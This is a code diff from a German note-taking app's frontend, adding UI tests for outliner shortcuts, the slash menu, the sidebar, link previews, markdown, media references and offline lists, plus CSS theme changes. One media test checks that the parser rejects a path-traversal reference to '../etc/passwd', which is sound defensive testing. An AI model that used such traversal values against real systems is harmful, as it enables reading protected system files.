+    // 1. With selection: wraps in **
+    ta.setSelectionRange(6, 10); // "welt"
+    const event1 = new KeyboardEvent('keydown', { key: 'b', ctrlKey: true, bubbles: true, cancelable: true });
+    ta.dispatchEvent(event1);
+    expect(event1.defaultPrevented).toBe(true);
+    expect(ta.value).toBe('hallo **welt**');
+    expect(ta.selectionStart).toBe(8);
+    expect(ta.selectionEnd).toBe(12);
+
+    // 2. With selection where delimiters are directly outside: unwraps **
+    const event2 = new KeyboardEvent('keydown', { key: 'b', metaKey: true, bubbles: true, cancelable: true });
+    ta.dispatchEvent(event2);
+    expect(event2.defaultPrevented).toBe(true);
+    expect(ta.value).toBe('hallo welt');
+    expect(ta.selectionStart).toBe(6);
+    expect(ta.selectionEnd).toBe(10);
+
+    // 3. With selection including delimiters: unwraps **
+    ta.value = 'hallo **welt**';
+    ta.setSelectionRange(6, 14); // "**welt**"
+    const event3 = new KeyboardEvent('keydown', { key: 'b', ctrlKey: true, bubbles: true, cancelable: true });
+    ta.dispatchEvent(event3);
+    expect(ta.value).toBe('hallo welt');
+    expect(ta.selectionStart).toBe(6);
+    expect(ta.selectionEnd).toBe(10);
+
+    // 4. Without selection: inserts **** and places cursor between
+    ta.value = 'start';
+    ta.setSelectionRange(5, 5);
+    const event4 = new KeyboardEvent('keydown', { key: 'b', ctrlKey: true, bubbles: true, cancelable: true });
+    ta.dispatchEvent(event4);
+    expect(ta.value).toBe('start****');
+    expect(ta.selectionStart).toBe(7);
+    expect(ta.selectionEnd).toBe(7);
+  });
+
+  it('toggles italic with and without selection (Ctrl+I)', () => {
+    const block = { id: 'b1', type: 'bullet', content: 'hallo welt', level: 0 } as DocumentBlock;
+    const { container } = renderBlock(block);
+    const ta = container.querySelector('textarea') as HTMLTextAreaElement;
+    ta.focus();
+
+    // 1. With selection: wraps in *
+    ta.setSelectionRange(6, 10); // "welt"
+    fireEvent.keyDown(ta, { key: 'i', ctrlKey: true });
+    expect(ta.value).toBe('hallo *welt*');
+    expect(ta.selectionStart).toBe(7);
+    expect(ta.selectionEnd).toBe(11);
+
+    // 2. Toggles off when already italic
+    fireEvent.keyDown(ta, { key: 'i', ctrlKey: true });
+    expect(ta.value).toBe('hallo welt');
+    expect(ta.selectionStart).toBe(6);
+    expect(ta.selectionEnd).toBe(10);
+
+    // 3. Without selection: inserts ** and places cursor between
+    fireEvent.change(ta, { target: { value: 'a' } });
+    ta.setSelectionRange(1, 1);
+    fireEvent.keyDown(ta, { key: 'i', ctrlKey: true });
+    expect(ta.value).toBe('a**');
+    expect(ta.selectionStart).toBe(2);
+    expect(ta.selectionEnd).toBe(2);
+  });
+
+  it('handles Ctrl+K: with selection wraps in [Text](…) and selects placeholder, without selection opens modal', () => {
+    const block = { id: 'b1', type: 'bullet', content: 'besuche mindsift heute', level: 0 } as DocumentBlock;
+    const { container, queryByText } = renderBlock(block);
+    const ta = container.querySelector('textarea') as HTMLTextAreaElement;
+    ta.focus();
+
+    // 1. With selection
+    ta.setSelectionRange(8, 16); // "mindsift"
+    const eventWithSel = new KeyboardEvent('keydown', { key: 'k', ctrlKey: true, bubbles: true, cancelable: true });
+    ta.dispatchEvent(eventWithSel);
+    expect(eventWithSel.defaultPrevented).toBe(true);
+    expect(ta.value).toBe('besuche [mindsift](…) heute');
+    // Placeholder "…" is selected
+    expect(ta.selectionStart).toBe(19);
+    expect(ta.selectionEnd).toBe(20);
+    expect(ta.value.slice(ta.selectionStart, ta.selectionEnd)).toBe('…');
+
+    // 2. Without selection: opens LinkModal
+    ta.setSelectionRange(0, 0);
+    expect(queryByText('Link einfügen')).toBeNull();
+    fireEvent.keyDown(ta, { key: 'k', ctrlKey: true });
+    expect(queryByText('Link einfügen')).toBeTruthy();
+  });
+
+  it('does nothing in code blocks or for read-only readers', () => {
+    // In code block
+    const codeBlock = { id: 'c1', type: 'code', content: 'const x = 1;', level: 0 } as DocumentBlock;
+    const codeView = renderBlock(codeBlock);
+    const codeTa = codeView.container.querySelector('textarea') as HTMLTextAreaElement;
+    codeTa.focus();
+    codeTa.setSelectionRange(6, 7); // "x"
+    const codeEvent = new KeyboardEvent('keydown', { key: 'b', ctrlKey: true, bubbles: true, cancelable: true });
+    codeTa.dispatchEvent(codeEvent);
+    expect(codeEvent.defaultPrevented).toBe(false);
+    expect(codeTa.value).toBe('const x = 1;');
+
+    // For readers (!canEdit)
+    const bulletBlock = { id: 'b1', type: 'bullet', content: 'text', level: 0 } as DocumentBlock;
+    const readerView = renderBlock(bulletBlock, { canEdit: false });
+    const readerTa = readerView.container.querySelector('textarea') as HTMLTextAreaElement;
+    readerTa.focus();
+    readerTa.setSelectionRange(0, 4);
+    const readerEvent = new KeyboardEvent('keydown', { key: 'b', ctrlKey: true, bubbles: true, cancelable: true });
+    readerTa.dispatchEvent(readerEvent);
+    expect(readerEvent.defaultPrevented).toBe(false);
+    expect(readerTa.value).toBe('text');
+  });
+});
+
+describe('outliner polish (Teil A)', () => {
+  it('opens slash menu at cursor position in the middle of text and inserts link at cursor', () => {
+    const updates: DocumentBlock[] = [];
+    const block = { id: 'b1', type: 'bullet', content: 'Vorher Nachher', level: 0 } as DocumentBlock;
+    const { container, queryByText, getByText, getByPlaceholderText, getByRole } = renderBlock(block, {
+      onUpdateBlock: (u: DocumentBlock) => updates.push(u),
+    });
+    const ta = container.querySelector('textarea') as HTMLTextAreaElement;
+    ta.focus();
+
+    // Type "/link" in the middle of the text (selectionStart at 12, right after "/link")
+    fireEvent.change(ta, { target: { value: 'Vorher /link Nachher', selectionStart: 12, selectionEnd: 12 } });
+
+    // Menu should be open with /link, but without /divider or /h1
+    expect(queryByText('Befehl auswählen')).toBeTruthy();
+    expect(queryByText('/link')).toBeTruthy();
+    expect(queryByText('/divider')).toBeNull();
+    expect(queryByText('/h1')).toBeNull();
+
+    // Select /link by pressing Enter
+    fireEvent.keyDown(ta, { key: 'Enter' });
+
+    // Link modal opens
+    expect(queryByText('Web-Link')).toBeTruthy();
+    fireEvent.click(getByText('Web-Link'));
+    fireEvent.change(getByPlaceholderText('z. B. MindSift Dokumentation'), { target: { value: 'Doku' } });
+    fireEvent.change(getByPlaceholderText('https://example.com'), { target: { value: 'https://example.com/test' } });
+    fireEvent.click(getByRole('button', { name: 'Link einfügen' }));
+
+    // Result has link inserted in the middle
+    expect(updates[updates.length - 1]?.content).toBe('Vorher [Doku](https://example.com/test) Nachher');
+  });
+
+  it('does not offer /divider at end of text, but offers it in empty block', () => {
+    const block = { id: 'b1', type: 'bullet', content: 'Ein Text', level: 0 } as DocumentBlock;
+    const { container, queryByText } = renderBlock(block);
+    const ta = container.querySelector('textarea') as HTMLTextAreaElement;
+    ta.focus();
+
+    // At end of non-empty text
+    fireEvent.change(ta, { target: { value: 'Ein Text /div' } });
+
+    expect(queryByText('Befehl auswählen')).toBeTruthy();
+    expect(queryByText('/divider')).toBeNull();
+
+    // In an empty block
+    fireEvent.change(ta, { target: { value: '/div' } });
+
+    expect(queryByText('Befehl auswählen')).toBeTruthy();
+    expect(queryByText('/divider')).toBeTruthy();
+  });
+
+  it('converts H1 block back to bullet via /text slash command', () => {
+    const updates: DocumentBlock[] = [];
+    const block = { id: 'b1', type: 'h1', content: 'Meine Überschrift', level: 0 } as DocumentBlock;
+    const { container, queryByText } = renderBlock(block, {
+      onUpdateBlock: (u: DocumentBlock) => updates.push(u),
+    });
+    const ta = container.querySelector('textarea') as HTMLTextAreaElement;
+    ta.focus();
+
+    fireEvent.change(ta, { target: { value: 'Meine Überschrift /text' } });
+
+    expect(queryByText('Befehl auswählen')).toBeTruthy();
+    expect(queryByText('/text')).toBeTruthy();
+
+    fireEvent.keyDown(ta, { key: 'Enter' });
+
+    const last = updates[updates.length - 1];
+    expect(last?.type).toBe('bullet');
+    expect(last?.content).toBe('Meine Überschrift');
+  });
+
+  it('closes slash menu on mousedown outside', () => {
+    const block = { id: 'b1', type: 'bullet', content: '', level: 0 } as DocumentBlock;
+    const { container, queryByText } = renderBlock(block);
+    const ta = container.querySelector('textarea') as HTMLTextAreaElement;
+    ta.focus();
+
+    fireEvent.change(ta, { target: { value: '/' } });
+    expect(queryByText('Befehl auswählen')).toBeTruthy();
+
+    // Click outside on document body
+    fireEvent.mouseDown(document.body);
+    expect(queryByText('Befehl auswählen')).toBeNull();
+  });
+
+  it('converts focused divider to empty bullet on Backspace', () => {
+    const updates: DocumentBlock[] = [];
+    const block = { id: 'd1', type: 'divider', content: '', level: 0 } as DocumentBlock;
+    const { container } = renderBlock(block, {
+      onUpdateBlock: (u: DocumentBlock) => updates.push(u),
+    });
+    const ta = container.querySelector('textarea') as HTMLTextAreaElement;
+    ta.focus();
+
+    fireEvent.keyDown(ta, { key: 'Backspace' });
+    const last = updates[updates.length - 1];
+    expect(last?.type).toBe('bullet');
+    expect(last?.content).toBe('');
+  });
+});

frontend/src/features/workspace/__tests__/WorkspaceView.sidebar.test.tsx

@@ -0,0 +1,165 @@
+import React from 'react';
+import { describe, it, expect, vi, beforeEach } from 'vitest';
+import { render, screen, waitFor } from '@testing-library/react';
+import { WorkspaceView } from '../WorkspaceView';
+import { api } from '../../../lib/api';
+import { Document } from '../../../lib/types';
+
+vi.mock('../DocumentEditor', () => ({
+  DocumentEditor: () => <div data-testid="document-editor">DocumentEditor</div>,
+}));
+
+vi.mock('../../../lib/api', async (importOriginal) => {
+  const actual = await importOriginal<typeof import('../../../lib/api')>();
+  return {
+    ...actual,
+    api: {
+      ...actual.api,
+      getDocuments: vi.fn(),
+      getFolders: vi.fn(),
+      getSharedFolders: vi.fn(),
+      getWorkspaceTags: vi.fn(),
+      getTrash: vi.fn(),
+    },
+    onWebSocketMessage: vi.fn(() => () => {}),
+    triggerHaptic: vi.fn(),
+  };
+});
+
+const makeDoc = (overrides: Partial<Document> & { id: string; title: string }): Document => ({
+  id: overrides.id,
+  userId: 'u1',
+  title: overrides.title,
+  icon: '📝',
+  folderPath: '',
+  content: '',
+  blocks: [],
+  tags: [],
+  isPinned: false,
+  isArchived: false,
+  createdAt: '2026-10-29T10:00:00Z',
+  updatedAt: '2026-10-29T10:00:00Z',
+  ...overrides,
+});
+
+describe('WorkspaceView sidebar explorer', () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    vi.mocked(api.getFolders).mockResolvedValue([]);
+    vi.mocked(api.getSharedFolders).mockResolvedValue([]);
+    vi.mocked(api.getWorkspaceTags).mockResolvedValue([]);
+    vi.mocked(api.getTrash).mockResolvedValue([]);
+  });
+
+  it('renders empty state "Noch keine Notizen" when there are no notes and no folders', async () => {
+    vi.mocked(api.getDocuments).mockResolvedValue([]);
+    vi.mocked(api.getFolders).mockResolvedValue([]);
+
+    render(<WorkspaceView onStatsChange={vi.fn()} />);
+
+    await waitFor(() => {
+      expect(screen.getByText('Noch keine Notizen')).toBeTruthy();
+    });
+
+    expect(screen.queryByText('Angeheftet')).toBeNull();
+    expect(screen.queryByText('Ordner')).toBeNull();
+    expect(screen.queryByText('Notizen (Hauptebene)')).toBeNull();
+    expect(screen.queryByText('Keine Notizen auf der Hauptebene.')).toBeNull();
+  });
+
+  it('renders pinned docs, folders, and root docs without headings', async () => {
+    const docs: Document[] = [
+      makeDoc({
+        id: 'doc_pin_root',
+        title: 'Wichtige Pinned Notiz',
+        icon: '⭐',
+        isPinned: true,
+      }),
+      makeDoc({
+        id: 'doc_root',
+        title: 'Normale Root Notiz',
+        icon: '📝',
+      }),
+      makeDoc({
+        id: 'doc_in_folder',
+        title: 'Projekt Plan',
+        icon: '📄',
+        folderPath: 'Projekte',
+      }),
+    ];
+
+    vi.mocked(api.getDocuments).mockResolvedValue(docs);
+    vi.mocked(api.getFolders).mockResolvedValue(['Projekte']);
+
+    render(<WorkspaceView onStatsChange={vi.fn()} />);
+
+    await waitFor(() => {
+      expect(screen.getByText('Wichtige Pinned Notiz')).toBeTruthy();
+      expect(screen.getByText('Normale Root Notiz')).toBeTruthy();
+      expect(screen.getByText('Projekte')).toBeTruthy();
+    });
+
+    // Ensure no old headings are rendered
+    expect(screen.queryByText('Angeheftet')).toBeNull();
+    expect(screen.queryByText('Ordner')).toBeNull();
+    expect(screen.queryByText('Notizen (Hauptebene)')).toBeNull();
+    expect(screen.queryByText('Keine Notizen auf der Hauptebene.')).toBeNull();
+
+    // The pinned root doc appears only once
+    const pinnedMatches = screen.getAllByText('Wichtige Pinned Notiz');
+    expect(pinnedMatches.length).toBe(1);
+
+    // Pinned container has separator when items follow
+    const pinnedItem = screen.getByText('Wichtige Pinned Notiz').closest('div[draggable="true"]');
+    const pinnedContainer = pinnedItem?.parentElement;
+    expect(pinnedContainer?.className).toContain('border-b border-border pb-1.5 mb-1.5');
+  });
+
+  it('does not render separator under pinned notes when nothing follows', async () => {
+    const docs: Document[] = [
+      makeDoc({
+        id: 'doc_pin_only',
+        title: 'Einzige Notiz Pinned',
+        icon: '⭐',
+        isPinned: true,
+      }),
+    ];
+
+    vi.mocked(api.getDocuments).mockResolvedValue(docs);
+    vi.mocked(api.getFolders).mockResolvedValue([]);
+
+    render(<WorkspaceView onStatsChange={vi.fn()} />);
+
+    await waitFor(() => {
+      expect(screen.getByText('Einzige Notiz Pinned')).toBeTruthy();
+    });
+
+    const pinnedItem = screen.getByText('Einzige Notiz Pinned').closest('div[draggable="true"]');
+    const pinnedContainer = pinnedItem?.parentElement;
+    expect(pinnedContainer?.className).not.toContain('border-b');
+  });
+
+  it('keeps pinned note in folder visible in its folder', async () => {
+    const docs: Document[] = [
+      makeDoc({
+        id: 'doc_pin_in_folder',
+        title: 'Pinned im Ordner',
+        icon: '📌',
+        folderPath: 'Team',
+        isPinned: true,
+      }),
+    ];
+
+    vi.mocked(api.getDocuments).mockResolvedValue(docs);
+    vi.mocked(api.getFolders).mockResolvedValue(['Team']);
+
+    render(<WorkspaceView onStatsChange={vi.fn()} />);
+
+    await waitFor(() => {
+      // In pinned list
+      expect(screen.getByText('Pinned im Ordner')).toBeTruthy();
+      // Folder exists
+      expect(screen.getByText('Team')).toBeTruthy();
+    });
+  });
+});

frontend/src/index.css

@@ -11,10 +11,14 @@
 
 @import './themes/theme-dark.css';
 @import './themes/theme-light.css';
-@import './themes/theme-high-contrast.css';
-@import './themes/theme-soft.css';
+@import './themes/theme-terracotta.css';
+@import './themes/theme-terracotta-night.css';
 @import './themes/theme-polarized.css';
 @import './themes/theme-suri.css';
+@import './themes/theme-fjord.css';
+@import './themes/theme-fjord-night.css';
+@import './themes/theme-polarized-light.css';
+@import './themes/theme-suri-light.css';
 
 @tailwind base;
 @tailwind components;
@@ -28,7 +32,7 @@
 body {
   background-color: var(--bg-app);
   color: var(--text-main);
-  font-family: 'Inter', system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
+  font-family: 'Inter Variable', 'Inter', system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
   overflow-x: hidden;
   transition: background-color 140ms ease, color 140ms ease;
 }
@@ -318,12 +322,14 @@ body {
     pointer-events: none;
   }
   .count-badge-accent {
-    background-color: var(--accent-primary);
-    color: var(--text-on-accent);
+    background: var(--accent-dim);
+    color: var(--accent-primary);
+    border: 1px solid var(--accent-border);
   }
   .count-badge-muted {
-    background-color: var(--text-muted);
-    color: var(--bg-panel);
+    background-color: var(--bg-panel-elevated);
+    color: var(--text-muted);
+    border: 1px solid var(--border-color);
   }
   .count-badge-corner {
     position: absolute;
@@ -411,62 +417,106 @@ body {
     color: var(--text-main);
   }
 
-  /* Prism Syntax Highlighting Tokens */
+  /* Prism Syntax Highlighting Tokens (VS Code Dark+ / Light+ via Theme Variables).
+     Fallbacks only (:where has no specificity): a theme's own --code-* values always win. */
+  :where(:root) {
+    --code-keyword: #569cd6;
+    --code-string: #ce9178;
+    --code-number: #b5cea8;
+    --code-comment: #6a9955;
+    --code-property: #9cdcfe;
+    --code-function: #dcdcaa;
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+  }
+
+  :where(:root:not(.dark)) {
+    --code-keyword: #0000ff;
+    --code-string: #a31515;
+    --code-number: #098658;
+    --code-comment: #007000;
+    --code-property: #0451a5;
+    --code-function: #795e26;
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+  }
+
   .token.comment,
   .token.prolog,
   .token.doctype,
   .token.cdata {
-    color: #71717a;
+    color: var(--code-comment);
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   }
 
-  .token.punctuation {
-    color: #94a3b8;
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+  .token.operator {
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   }
 
   .token.property,
-  .token.tag,
-  .token.boolean,
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+  .token.attr-name {
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+  }
+
+  .token.string,
+  .token.char,
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+  .language-css .token.string,
+  .style .token.string {
+    color: var(--code-string);
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+
   .token.number,
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-  .token.deleted {
-    color: #f43f5e;
-  }
-
-  .token.selector,
-  .token.attr-name,
-  .token.string,
-  .token.char,
-  .token.builtin,
-  .token.inserted {
-    color: #10b981;
-  }
-
-  .token.operator,
-  .token.entity,
-  .token.url,
-  .language-css .token.string,
-  .style .token.string {
-    color: #38bdf8;
+  .token.datetime {
+    color: var(--code-number);
   }
 
+  .token.keyword,
+  .token.boolean,
+  .token.null,
   .token.atrule,
-  .token.attr-value,
-  .token.keyword {
-    color: #818cf8;
-    font-weight: 600;
+  .token.directive,
+  .token.tag,
+  .token.deleted {
+    color: var(--code-keyword);
+  }
+
+  .token.key.atrule {
+    color: var(--code-property);
   }
 
   .token.function,
-  .token.class-name {
-    color: #fbbf24;
+  .token.function-variable {
+    color: var(--code-function);
   }
 
+  .token.class-name,
+  .token.type,
+  .token.builtin,
+  .token.namespace {
+    color: var(--code-type);
+  }
+
+  .token.variable,
   .token.regex,
   .token.important,
-  .token.variable {
-    color: #f97316;
+  .token.selector,
+  .token.entity,
+  .token.url {
+    color: var(--code-variable);
+  }
+
+  .token.boolean.important,
+  .token.null.important {
+    color: var(--code-keyword);
   }
 }
 
@@ -499,3 +549,91 @@ body {
     padding-bottom: 6px !important;
   }
 }
+
+/* Read-only sections (e.g. server settings in the demo): everything inside looks switched off */
+fieldset:disabled :is(button, input, select, textarea) {
+  opacity: 0.5;
+  cursor: not-allowed;
+}
+
+/* Workspace surfaces: the note editor and the folder sidebar. Themes may override them (the light theme
+   uses a white sheet next to a grey sidebar); by default they follow the page and panel colours. */
+:root {
+  --bg-editor: var(--bg-app);
+  --bg-sidebar: var(--bg-panel);
+}
+
+/* Outliner: indent per level and the width a row keeps for its text. Phones indent less and let very
+   deep rows run wider than the screen (the note then scrolls sideways) instead of squeezing the text. */
+:root {
+  --outline-indent: 14px;
+  --outline-min-text: 14rem;
+}
+@media (min-width: 640px) {
+  :root {
+    --outline-indent: 22px;
+    --outline-min-text: 0px;
+  }
+}
+
+/* Focus mode: the note fades in over the app */
+@keyframes focus-mode-in {
+  from { opacity: 0; transform: scale(0.99); }
+  to { opacity: 1; transform: none; }
+}
+.focus-mode-enter {
+  animation: focus-mode-in 300ms ease-in-out;
+}
+@media (prefers-reduced-motion: reduce) {
+  .focus-mode-enter { animation: none; }
+}
+
+/* Views that replace each other (journal ↔ note) fade in instead of jumping */
+@keyframes view-in {
+  from { opacity: 0; transform: translateY(6px); }
+  to { opacity: 1; transform: none; }
+}
+.view-enter {
+  animation: view-in 280ms ease-out;
+}
+@media (prefers-reduced-motion: reduce) {
+  .view-enter { animation: none; }
+}
+
+/* No sliding or zooming for people who asked their system for less motion */
+@media (prefers-reduced-motion: reduce) {
+  .animate-in,
+  .animate-out {
+    animation: none !important;
+  }
+}
+
+/* Corner switch (Darstellung): overrides the theme's radii on every theme */
+:root[data-corners='square'] {
+  --radius-card: 0px !important;
+  --radius-btn: 2px !important;
+  --radius-input: 2px !important;
+  --radius-checkbox: 0px !important;
+}
+:root[data-corners='round'] {
+  --radius-card: 12px !important;
+  --radius-btn: 8px !important;
+  --radius-input: 8px !important;
+  --radius-checkbox: 4px !important;
+}
+
+/* Button frames switch (Darstellung): without frames, regular buttons are a soft tint instead */
+:root[data-button-borders='off'] :is(.btn-action, .btn-icon, .btn-secondary, .tab-btn, .chip-btn) {
+  border-color: transparent !important;
+}
+:root[data-button-borders='off'] :is(.btn-action, .btn-icon, .btn-secondary, .chip-btn):not(:disabled) {
+  background-color: color-mix(in srgb, var(--text-main) 6%, transparent);
+}
+:root[data-button-borders='off'] :is(.btn-action, .btn-icon, .btn-secondary, .chip-btn):not(:disabled):hover {
+  background-color: color-mix(in srgb, var(--text-main) 11%, transparent);
+}
+/* … the selected tab keeps a visible accent tint */
+:root[data-button-borders='off'] .chip-btn.border-accent {
+  background-color: var(--accent-dim) !important;
+  color: var(--accent-primary);
+}

frontend/src/lib/__tests__/journal.test.ts

@@ -0,0 +1,16 @@
+import { describe, it, expect } from 'vitest';
+import { monthGrid, toISODate, parseISODate } from '../journal';
+
+describe('journal dates', () => {
+  it('builds a Monday-first month grid', () => {
+    // October 2026 starts on a Thursday
+    const weeks = monthGrid(2026, 9);
+    expect(weeks[0]).toEqual([null, null, null, '2026-10-01', '2026-10-02', '2026-10-03', '2026-10-04']);
+    expect(weeks.flat().filter(Boolean)).toHaveLength(31);
+    expect(weeks.every((w) => w.length === 7)).toBe(true);
+  });
+
+  it('round-trips local dates', () => {
+    expect(toISODate(parseISODate('2026-03-01'))).toBe('2026-03-01');
+  });
+});

frontend/src/lib/__tests__/linkPreview.test.ts

@@ -0,0 +1,31 @@
+import { describe, expect, it } from 'vitest';
+import { linkCardUrl, hidePreviewContent } from '../linkPreview';
+
+describe('link preview helpers', () => {
+  it('returns the URL only when the entire trimmed content is a single https address', () => {
+    expect(linkCardUrl('https://example.com/a?b=1')).toBe('https://example.com/a?b=1');
+    expect(linkCardUrl('  https://example.com/page/  ')).toBe('https://example.com/page/');
+    expect(linkCardUrl('Rezept: https://koch.de/spaetzle, lecker!')).toBeNull();
+    expect(linkCardUrl('https://a.de https://b.de')).toBeNull();
+    expect(linkCardUrl('siehe (https://x.de/p).')).toBeNull();
+    expect(linkCardUrl('[Kochseite](https://koch.de)')).toBeNull();
+    expect(linkCardUrl('http://unsicher.de')).toBeNull();
+    expect(linkCardUrl('nur Text')).toBeNull();
+  });
+
+  it('hides a preview by turning the address into a named link', () => {
+    expect(hidePreviewContent('Lesen: https://koch.de/x', 'https://koch.de/x', 'Käsespätzle [Rezept]')).toBe(
+      'Lesen: [Käsespätzle Rezept](https://koch.de/x)'
+    );
+    expect(hidePreviewContent('https://koch.de/x', 'https://koch.de/x', '')).toBe('[koch.de](https://koch.de/x)');
+    expect(linkCardUrl(hidePreviewContent('https://koch.de/x', 'https://koch.de/x', 'T'))).toBeNull();
+  });
+});
+
+describe('linkHost', () => {
+  it('shows host and path without scheme and www', async () => {
+    const { linkHost } = await import('../linkPreview');
+    expect(linkHost('https://www.example.com/')).toBe('example.com');
+    expect(linkHost('https://example.com/blog/post')).toBe('example.com/blog/post');
+  });
+});

frontend/src/lib/__tests__/markdown.test.tsx

@@ -0,0 +1,55 @@
+import { describe, it, expect } from 'vitest';
+import { render } from '@testing-library/react';
+import { renderInlineMarkdown } from '../markdown';
+
+describe('renderInlineMarkdown', () => {
+  it('renders bold text with <strong> tag', () => {
+    const { container } = render(<div>{renderInlineMarkdown('Text mit **fettem** Wort')}</div>);
+    const strong = container.querySelector('strong');
+    expect(strong).toBeTruthy();
+    expect(strong?.textContent).toBe('fettem');
+  });
+
+  it('renders inline code inside bold text', () => {
+    const { container } = render(<div>{renderInlineMarkdown('Der Block **`services`** startet')}</div>);
+    const code = container.querySelector('strong code');
+    expect(code?.textContent).toBe('services');
+    expect(container.textContent).toBe('Der Block services startet');
+  });
+
+  it('links bare web addresses without the trailing punctuation and keeps markdown links intact', () => {
+    const { container } = render(
+      <div>{renderInlineMarkdown('Siehe https://example.com/a_b_c. und [Doku](https://example.org/x) oder https://x.de/#frag')}</div>
+    );
+    const links = [...container.querySelectorAll('a')].map((a) => [a.textContent, a.getAttribute('href')]);
+    expect(links).toEqual([
+      ['https://example.com/a_b_c', 'https://example.com/a_b_c'],
+      ['Doku', 'https://example.org/x'],
+      ['https://x.de/#frag', 'https://x.de/#frag'],
+    ]);
+    expect(container.textContent).toBe('Siehe https://example.com/a_b_c. und Doku oder https://x.de/#frag');
+  });
+
+  it('renders italic text with <em> tag', () => {
+    const { container } = render(<div>{renderInlineMarkdown('Text mit *kursivem* Wort')}</div>);
+    const em = container.querySelector('em');
+    expect(em).toBeTruthy();
+    expect(em?.textContent).toBe('kursivem');
+  });
+
+  it('renders both bold and italic text in one paragraph', () => {
+    const { container } = render(<div>{renderInlineMarkdown('Hier ist **fett** und *kursiv* vereint')}</div>);
+    const strong = container.querySelector('strong');
+    const em = container.querySelector('em');
+    expect(strong?.textContent).toBe('fett');
+    expect(em?.textContent).toBe('kursiv');
+  });
+
+  it('renders links correctly', () => {
+    const { container } = render(<div>{renderInlineMarkdown('[Testseite](https://example.com)')}</div>);
+    const link = container.querySelector('a');
+    expect(link).toBeTruthy();
+    expect(link?.getAttribute('href')).toBe('https://example.com/');
+    expect(link?.textContent).toBe('Testseite');
+  });
+});

frontend/src/lib/__tests__/media.test.ts

@@ -0,0 +1,19 @@
+import { describe, expect, it } from 'vitest';
+import { mediaContent, parseMediaContent } from '../media';
+
+describe('media content format', () => {
+  it('round-trips captions, also with brackets and backslashes', () => {
+    for (const caption of ['', 'Urlaub 2026', 'Plan [Entwurf]', 'C:\\Fotos\\x', 'zwei\nZeilen']) {
+      const content = mediaContent('image', 'med_0123abcd', caption);
+      expect(content.startsWith('![')).toBe(true);
+      expect(parseMediaContent(content)).toEqual({ id: 'med_0123abcd', caption: caption.replace(/\n/g, ' ') });
+    }
+    expect(mediaContent('audio', 'med_ff', 'Sprachnotiz')).toBe('[Sprachnotiz](media:med_ff)');
+  });
+
+  it('ignores anything that is not a media reference', () => {
+    expect(parseMediaContent('![x](https://example.com/a.png)')).toBeNull();
+    expect(parseMediaContent('Text ![x](media:med_aa)')).toBeNull();
+    expect(parseMediaContent('![x](media:../etc/passwd)')).toBeNull();
+  });
+});

frontend/src/lib/__tests__/offline.test.ts

@@ -47,3 +47,28 @@ describe('outbox', () => {
     expect(isCacheablePath('/api/v1/export/markdown')).toBe(false);
   });
 });
+
+describe('list items added offline', () => {
+  beforeEach(() => localStorage.clear());
+
+  it('show up as stand-ins and follow edits until they are sent', async () => {
+    const { pendingListItems, updateQueued, dropQueued, OFFLINE_ITEM_PREFIX } = await import('../offline');
+    const milk = enqueue('POST', '/api/v1/lists/lst_1/items', { content: 'Hafermilch', category: 'Kühlregal', quantity: '' });
+    const bread = enqueue('POST', '/api/v1/lists/lst_2/items', { content: 'Brot', category: '', quantity: '1' });
+    enqueue('POST', '/api/v1/inbox', { content: 'kein Listeneintrag' });
+
+    let items = pendingListItems();
+    expect(items.map((i) => [i.listId, i.content])).toEqual([
+      ['lst_1', 'Hafermilch'],
+      ['lst_2', 'Brot'],
+    ]);
+    expect(items[0].id).toBe(OFFLINE_ITEM_PREFIX + milk.id);
+
+    updateQueued(milk.id, { quantity: '2' });
+    dropQueued(bread.id);
+    items = pendingListItems();
+    expect(items).toHaveLength(1);
+    expect(items[0].quantity).toBe('2');
+    expect(getOutbox()).toHaveLength(2); // the inbox entry stays
+  });
+});

frontend/src/lib/__tests__/outlineList.test.ts

@@ -0,0 +1,57 @@
+import { describe, it, expect } from 'vitest';
+import { listLabel, moveSibling, numberedLabels } from '../outlineList';
+import type { DocumentBlock } from '../types';
+
+const blk = (id: string, level: number, type: DocumentBlock['type'] = 'numbered'): DocumentBlock => ({
+  id, documentId: 'd', type, content: id, level, position: 0,
+});
+
+describe('numbered lists', () => {
+  it('formats numbers, letters and roman numerals by depth', () => {
+    expect(listLabel(3, 0)).toBe('3.');
+    expect(listLabel(2, 1)).toBe('b.');
+    expect(listLabel(27, 1)).toBe('aa.');
+    expect(listLabel(4, 2)).toBe('iv.');
+    expect(listLabel(1, 3)).toBe('1.');
+  });
+
+  it('counts siblings, nests and restarts after other blocks', () => {
+    const labels = numberedLabels([
+      blk('a', 0), blk('a1', 1), blk('a2', 1), blk('a2i', 2), blk('b', 0),
+      blk('note', 0, 'text'), blk('c', 0), blk('plain', 1, 'text'), blk('c1', 2),
+    ]);
+    expect(Object.fromEntries(labels)).toEqual({
+      a: '1.', a1: 'a.', a2: 'b.', a2i: 'i.', b: '2.', c: '1.', c1: 'a.',
+    });
+  });
+});
+
+describe('moveSibling (phone bar ↑ ↓)', () => {
+  // A
+  //   a1
+  //   a2
+  //     a2x
+  // B
+  //   b1
+  // C
+  const tree = [blk('A', 0), blk('a1', 1), blk('a2', 1), blk('a2x', 2), blk('B', 0), blk('b1', 1), blk('C', 0)];
+  const ids = (bs: DocumentBlock[]) => bs.map((b) => b.id).join(' ');
+
+  it('swaps with the previous sibling and takes the children along', () => {
+    expect(ids(moveSibling(tree, 'B', -1))).toBe('B b1 A a1 a2 a2x C');
+    expect(ids(moveSibling(tree, 'a2', -1))).toBe('A a2 a2x a1 B b1 C');
+  });
+
+  it('swaps with the next sibling, jumping over its whole branch', () => {
+    expect(ids(moveSibling(tree, 'A', 1))).toBe('B b1 A a1 a2 a2x C');
+    expect(ids(moveSibling(tree, 'a1', 1))).toBe('A a2 a2x a1 B b1 C');
+  });
+
+  it('never leaves its parent and stops at the ends', () => {
+    expect(moveSibling(tree, 'a1', -1)).toBe(tree); // first child
+    expect(moveSibling(tree, 'a2', 1)).toBe(tree); // last child
+    expect(moveSibling(tree, 'A', -1)).toBe(tree);
+    expect(moveSibling(tree, 'C', 1)).toBe(tree);
+    expect(moveSibling(tree, 'missing', 1)).toBe(tree);
+  });
+});